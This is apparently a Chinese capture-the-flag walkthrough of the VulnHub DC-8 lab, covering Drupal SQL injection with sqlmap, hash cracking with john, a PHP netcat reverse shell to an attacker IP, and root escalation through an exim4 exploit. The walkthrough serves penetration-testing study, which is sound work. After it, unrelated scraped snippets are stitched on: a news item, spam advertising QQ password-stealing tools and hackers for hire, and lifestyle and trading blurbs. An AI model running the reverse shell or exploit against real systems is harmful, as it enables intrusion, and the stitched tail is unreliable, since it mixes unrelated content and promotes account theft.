靶场名称: DC: 8
靶场发布时间:2019-9-8
靶场地址:https://www.vulnhub.com/entry/dc-8,367/
靶场描述:
DC-8 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
This challenge is a bit of a hybrid between being an actual challenge, and being a "proof of concept" as to whether two-factor authentication installed and configured on Linux can prevent the Linux server from being exploited.
The "proof of concept" portion of this challenge eventuated as a result of a question being asked about two-factor authentication and Linux on Twitter, and also due to a suggestion by @theart42.
The ultimate goal of this challenge is to bypass two-factor authentication, get root and to read the one and only flag.
You probably wouldn't even know that two-factor authentication was installed and configured unless you attempt to login via SSH, but it's definitely there and doing it's job.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
VMware虚拟机(桥接模式)
获取靶机的IP
nmap -sn 192.168.3.0/24
使用nmap来查看靶机的端口信息和系统信息等等
首先去查看80端口的web服务 还是Drupal
提示不用爆破破解,使用dirb扫描一下目录
存在robots.txt文件
登录地址:
版本大致的判断:
这三个页面url中存在参数sqlmap去尝试一下
sqlmap确定存在sql注入
读取一下数据
drupal的密码是特殊加密的需要爆破破解,使用john
john pwd --wordlist=/usr/share/wordlists/rockyou.txt
john/turtle 登录页面
登录后需要获取到shell
在页面中发现可以直接执行php语句
写入shell
<?php system("nc -e /bin/bash 192.168.3.20 1234"); ?>
反弹到kali中 随便提交数据
反弹成功
切换shell
查看一下用户有那些
在看看有没有内核提权
find / -perm -u=s -type f 2>/dev/null 查看具有root权限的命令
查看一下exim4的版本 又没有漏洞
exim4 --version
https://www.exploit-db.com/exploits/46996找到一个可以使用的exp
下载exp,上传到靶机中并赋予权限
使用过程中报错了
需要对exp脚本 执行编码
vim 46996.sh
:set ff=unix
:wq
在重新上传到靶机中 提权(改完还是报错),直接复制代码在靶机中创建文件填写
执行成功。
获取到root权限
新华社布宜诺斯艾利斯12月6日电(记者倪瑞捷)蒙得维的亚消息:乌拉圭前总统塔瓦雷·巴斯克斯的家人6日在社交媒体宣布,巴斯克斯当日凌晨在蒙得维的亚家中因肺癌离世,享年80岁。 巴斯克斯的家人表...
黑客盗qq密码神器手机版免费(黑客盗qq神器)(baidusina)一直致力于黑客(HACK)技术、黑客QQ群、信息安全、web安全、渗透运维、黑客工具、找黑客、黑客联系方式、24小时在线网络黑客、黑...
而要想干一个高质量的网站地址却并不易。大伙儿建设网站是便于考虑到顾客满意度要求,但基本建设项目一个可靠的、取得成功的网站地址以前一定要立在顾客视角考虑到,对网站地址开展用户需求剖析。那麼如何在企业...
要学好波浪理论,首先要弄清楚是推动浪还是调整浪,这个至关重要,要从大趋势分析,由大到小去分析。一般来讲,推动浪5浪、调整浪3浪。当走推动浪的。 道氏理论,波浪理论,形态理论,K线组合理论有内在的传承联...
在夏天我们的穿着就应该很简单,如果过于花哨就会给人一种烦躁。而怎样才可以穿出日常简约的穿搭呢? 那么灰色裤子,就应该是大家的第一选择。灰色裤子休闲,正式都可以安排妥妥的,如果你简单的纯色上衣,这样简...
众所周知,出现了便秘这种现象之后会让身体感觉到难受,特别是长期的便秘会感觉到腹部胀气,甚至影响胃口。有便秘表现的人应该通过合理的方式进行改善,这样粪便第一时间排泄才能够维持肠道轻松状态,防止垃圾废物堆...